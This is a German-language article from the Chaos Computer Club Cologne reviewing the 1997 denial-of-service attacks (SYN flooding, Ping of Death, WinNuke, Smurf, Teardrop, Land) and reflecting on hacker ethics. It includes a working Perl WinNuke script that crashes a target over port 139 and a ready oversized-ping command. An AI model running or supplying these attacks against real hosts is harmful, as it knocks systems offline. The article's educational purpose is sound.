![[UP]](/icons/back.gif){kind=icon}
Eine Art Jahresrückblick auf Internet-basierte
"Denial of Service"-Attacken
von Doobee R. Tzeck und Jens Ohlig, Chaos Computer Club Cologne
Wenn es 1997 so etwas wie eine Top Ten unter den Sicheitslücken gegeben hat, dann war der Superhit mit Sicherheit Denial of Service oder kurz DoS. Im eigentlichen Sinne bedeutet ein DoS-Angriff etwas unzugänglich machen, also Kaugummi ins Schloß stopfen, einem Anrufbeantworter die Lieblingsplatte vorspielen oder einen Geldautomaten mit der handgeschriebenen Notiz "Automat defekt, zieht Karte ein" versehen. Im Computerbereich ist eine DoS-Attacke meistens damit verbunden, daß der Rechner ferngesteuert über das Internet (oder irgendein TCP/IP-Netzwerk) gecrasht oder sonstwie unbenutzbar gemacht wird. Gegen solche Abstürze gibt es selbst unter den sympathischeren Betriebssystemen wie Linux oder den BSD-Varianten oft kein Gegenmittel, da diese Systeme eigentlich davon ausgehen, daß sich der User zu benehmen weiß. Bei den Microsoft-Systemen liegt die Sache etwas anders. Die Leichtigkeit, mit der sie durch DoS-Angriffe aus den Tritt gebracht werden können, läßt in uns schon die Frage aufkommen, was sich Microsoft beim Design des TCP/IP-Stacks überhaupt gedacht hat. Vermutlich gar nichts.
"Denial of Service"-Angriffe sind aus verschiedenen Gründen interessant. Neben eher kindischen Rechtfertigungen wie Rache für die im IRC erfahrene Kränkung der Männerehre oder Sabotage des (ehemaligen) Arbeitgebers, können sie auch die Vorstufe zu weiteren Hacks darstellen, wobei eventuelle ethische Bedenken noch auszudiskutieren wären. Für irgendwelche Spoofing-basierten Angriffe kann es unter Umständen von Nutzen sein, wenn ein bestimmter Rechner im Netz ausgefallen ist. Als ein mögliches Beispiel unter vielen wollen wir hier nur mal das netzweite Sharing von Platten oder Partitionen via NFS oder SMB zu bedenken geben: Wir schalten einen Rechner im LAN über eine DoS-Attacke aus und können prima die Platten mounten, auf die der Rechner vor seinem Ableben Zugriff hatte. In niederländischen Rechenzentren gab es so um 1993 herum verstärkt Leute, die einfach bei den SUN-Workstations den Aus-Schalter betätigten, um sich dann auf einem PC die interessanten NFS-Volumes zu mounten. Das war sozusagen Denial of Service nach Hausmacherart.
Wir wollen uns allerdings mit einigen DoS-Attacken beschäftigen, die im letzten Jahr so sehr Furore gemacht haben und alle zwei Kriterien erfüllen: Erstens können sie von außen (also von einem beliebigen Punkt des Internets, nicht nur im LAN) den Rechner lahmlegen und zweitens nutzen sie alle Bugs und Schwächen in der TCP/IP-Implementation gängiger Betriebsysteme aus. Interessant ist, daß diese Angriffe überwiegend schon länger bekannt waren, aber erst Popularität erlangten, als DAU-feste Programme auftauchten, mit denen man die Bugs triggern konnte.
Im Herbst 1996 wurde das sogenannte "SYN-Flooding" relativ populär. Wie wir aus RFC 793 wissen oder zumindest wissen sollten, wird eine TCP-Verbindung mit einem sogenannten "Three-Way Handshake" aufgebaut, was dann ungefähr so aussieht:
TCP A TCP B
1. CLOSED LISTEN
2. SYN-SENT --> --> SYN-RECEIVED
3. ESTABLISHED <-- <-- SYN-RECEIVED
4. ESTABLISHED --> --> ESTABLISHED
5. ESTABLISHED --> --> ESTABLISHED
Basic 3-Way Handshake for Connection Synchronization
Erst wird ein SYN-Paket gesendet, darauf wird mittels eines SYN,ACK-Paketes geantwortet. Dieses muß wiederum mittels ACK bestätigt werden. Während des Verbindungsaufbaus wird natürlich Speicher belegt. Beim SYN-Flooding werden SYN-Requests mit nicht-existenter Absenderadresse an das Opfer gesendet. Das Opfer sendet eine SYN,ACK-Antwort an die ungültige Absenderadresse, erhält natürlich keine Antwort und wartet erfolglos auf eine Rückmeldung. Nach einiger Zeit merkt das Opfer natürlich, was da gespielt wird und der Verbindungsversuch wird als erfolglos abgebrochen deklariert.
Das Prinzip, auf dem SYN-Flooding beruht, ist denkbar einfach: Wenn man nur schnell genug die SYN-Pakete an das Opfer sendet, ist irgendwann der gesamte Speicher für Verbindungen belegt. Voraussetzung ist natürlich, daß man die Pakete schneller auf die Gegenseite schaufelt als der Timeout zuschlägt.
Das nächste große Ereignis war "Ping of Death". IP-Pakete können bis zu 65.535 Bytes lang sein, darin ist der IP-Header schon eingerechnet. Pakete, die größer sind als das Transportmedium es verkraftet, werden in Fragmente aufgeteilt und beim Empfänger wieder zusammengesetzt.
Die Zusammensetzung der Fragmente erfolgt anhand eines Offset-Wertes, der für jedes Fragment bestimmt, wo es denn hin soll. Dadurch ist es möglich, dem letzten Fragment einen Offset zu geben der zusammen mit der Fragmentgröße einen Wert größer als 65.535 Bytes ergibt und irgendwelche 16-Bit Zähler oder Buffer überlaufen läßt und für entsprechend Verwirrung sorgt. So ziemlich alles, was einen IP-Stack hatte, konnte betroffen sein: PCs, Workstations, Router, Drucker, Kaffeemaschinen.
Natürlich kann man diesen Angriff nicht nur mit ICMP und Ping machen, sondern auch mit TCP und UDP. Der Phantasie sind keine Grenzen gesetzt.
Wie erzeugt man nun diese übergroßen Ping-Pakete? Ein ordentlicher Ping Befehl sollte keine Pakete größer als 65507 Bytes zulassen. (65535 - 20 IP-Header - 8 ICMP-Header) Wo findet man am ehesten einen unordentlichen Ping-Befehl? Richtig, in den Betriebsystemen der Firma Microsoft. Nach dem Betätigen von Windows-R einfach "Ping -l 65510 opfer.org" eingeben und sich das "Windows kann doch mehr"-Grinsen aufsetzen.
Allerdings waren entsprechende Tools natürlich auch schnell für Linux et al. zur Hand und der Linux-Kernel war auch nach 3 Stunden gepatcht und sicher.
Betroffen war so ziemlich alles, was IP fährt, es sei denn, es basierte auf BSD. Im Gegensatz zu SYN-Flooding und smurfing, wo man einen konstanten Datenstrom erzeugen mußte, um anzugreifen, war Ping of Death die erste Attacke, mit der man das Opfer mit einem einzigen "Schuß" erlegen konnte.
Am 7. Mai begann ein besonderer Spaß. Bisher als Out of Band (OOB) Angriff bekannt, stieg die Beliebtheit mit dem Programm winnuke rabiat an. Wo man vorher selber basteln bemühen mußte, gab es jetzt ein DAU-festes Tool.
Microsofts NetBIOS-Implementierung bekam, sobald Daten eintrafen, die anders waren als die erwarteten, ganz heftig Schluckauf. Ein Connect auf Port 139, ein paar wirre Zeichen und schon war der Spaß vorbei. Gegen OOB war übrigens auch der Microsoft DNS-Server sehr empfindlich. Erschreckend an der Angelegenheit war die unglaubliche Primitivität dieses Fehlers, so daß man die Funktionalität von winnuke in ein paar Zeilen selbst zusammenhacken konnte. Zur allgemeinen Auflockerung implementieren wir das ganze mal in Perl, wobei wir als Zugabe noch prüfen, ob der Rechner nach dem Angriff auch wirklich alle Viere von sich gestreckt hat, d.h. nicht mehr per ICMP-ping erreichbar ist:
#!/usr/bin/perl -w
use strict;
use Socket;
use Net::Ping;
require 5.004;
my $host = shift;
my $paddr = sockaddr_in(139, inet_aton($host));
print "Der Computer $host wird heruntergefahren...\n";
socket(NUKE, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or
print "Klappt nicht: $!\n", return;
connect(NUKE, $paddr) or print "Klappt nicht: $!\n";
send(NUKE, "Heil Eris! Ewig Heil Discordia!", MSG_OOB );
close(NUKE);
if ($>) {
print <<"MSG_END";
Ich konnte den OOB-Angriff landen. Leider hast du keine root-Rechte, deshalb
überprüfe bitte selbst mit ping(8), ob $host noch läuft.
MSG_END
} else {
sleep 3;
my $ping = new Net::Ping('icmp');
if ($ping->ping($host)) {
warn "Hmm... $host scheint noch zu laufen.\n";
} else {
print "Ich konnte den Computer jetzt ausschalten.\n"
}
}
Winnuke fand vor allem unter IRC-Usern rasante Verbreitung. Da es Windows-Benutzer durchaus gewohnt sind, daß ihre Kisten abschmieren, nahmen viele das ganze als gegeben hin oder rochen erst nach sehr langer Zeit Lunte. Sogar auf dem CCC'97 soll es noch Leute gegeben haben, die die Patches dagegen nicht installiert hatten und ewig an ihrer Konfiguration 'rumschraubten; "Da stimmt was nicht mit den Netzwerkstreibern!"
Unter dem Namen ICMP Storm war das Problem schon lange bekannt. Aber erst das DAU-feste Programm Smurf sorgte für weite Verbreitung. Das war irgendwann im Oktober.
Smurf basiert auf auf dem alten Broadcastspielchen. Ein Ping auf eine Broadcastadresse erzeugt eine ganze Menge Antworten. Ein flood-ping auf eine Broadcastadresse erzeugt jede Menge Verkehr. Wenn man nun die Absenderadresse des Pings fälscht, bekommt das Opfer, dessen Adresse man verwendet hat, die Antworten. Das Opfer bekommt unter Umständen soviel Traffic, daß es zusammenbricht. Das Ganze hängt sehr stark von der Anzahl der Rechner, die auf einen Broadcast antworten ab. Der Broadcast dient gewissermaßen als Verstärker. Wenn ich 1000 Pakete/s senden kann und 100 Rechner auf den Broadcast antworten, erzeugt das beim Opfer 100.000 Pakete/s.
Mittels Smurf wurde der New Yorker Provider Panix einige Tage sehr bedrängt. Das ganze läßt sich allerdings recht einfach bekämpfen, indem man an den Routern IP-Broadcasts nicht mehr in Ethernet Broadcasts umsetzt.
Teardrop tauchte in der ersten Novemberhälfte auf. Es ist dem Ping of Death nicht unähnlich, da es sich auch die Fragmentierung von IP-Paketen zu nutze macht. Diesmal wird allerdings nicht mittels Fragmentierung ein zu großes Paket erzeugt, sondern die Fragmente werden so erzeugt, daß sie "überlappen", was Windows und Linux zur Freude der restlichen Betriebssystempropheten übelst aus dem Tritt bringt. Auf dem CCC'97 standen noch etliche Maschinen 'rum, die nicht gegen Teardrop gepatcht waren. Kusch, ab hinter die Firewall!
Der letzte Schrei im DoS Bereich traf Ende November ein: Land. Es handelt sich hierbei um einen relativ komplexen Angriff. Dabei wird ein SYN-Paket erzeugt, bei dem Empfänger- und Absenderadresse/-port gleich sind. Das erzeugt, wenn es an einen offenen Port gesendet wird, in vielen IP-Stacks eine Race Condition und legt das System lahm.
Das interessante an Land war, daß es auch Cisco-Router, die an sehr vielen zentralen stellen des Netzes stehen, davon betroffen waren. Da aber nach den Stürmen der vorhergehenden Monate viele Netze gegen spoofing gesichert waren, hielten sich die Auswirkungen in Grenzen.
Im Prinzip sind für uns nach der Betrachtung dieser Attacken immer noch die gleichen Fragen offen, die wir weiter oben als noch auszudiskutieren bezeichnet haben. IRC oder sonstige Chatsysteme sind durch idiotensichere DoS-Pogramme zum Sandkasten-Schlachfeld geworden. Wenn man von den reihenweise mit Blue Screens abgerauchten NASA-Windowskisten hört, kann man sich wohl ein Grinsen nicht verkneifen, aber ein echter, zufriedenstellender Hack im Sinne der Hackerethik ist das wohl nicht, wenn wir mal ehrlich sind.
Warum wir trotzdem einen Überblicksartikel über Denial of Service für diese Datenschleuder geschrieben haben? Auf der Hand liegen Gründe wie "Information will frei sein" oder "Security through obscurity funktioniert nicht" -- aber das wichtigste ist, daß das berühmte Know-How bei der ganzen Diskussion doch sehr unter zu fallen scheint; sowohl bei den k00len Typen, die nicht wirklich durchschauen, was hinter ihrem Rundrum-sorglos-WinNuke steckt, als auch bei der nicht-technisierten Normalbevölkerung. Und wenn wir uns schon über fehlendes Know-How beschweren: von dem Know-Why wollen wir gar nicht reden. Bitte kümmert euch umd das Know-Why. Ihr schafft das schon.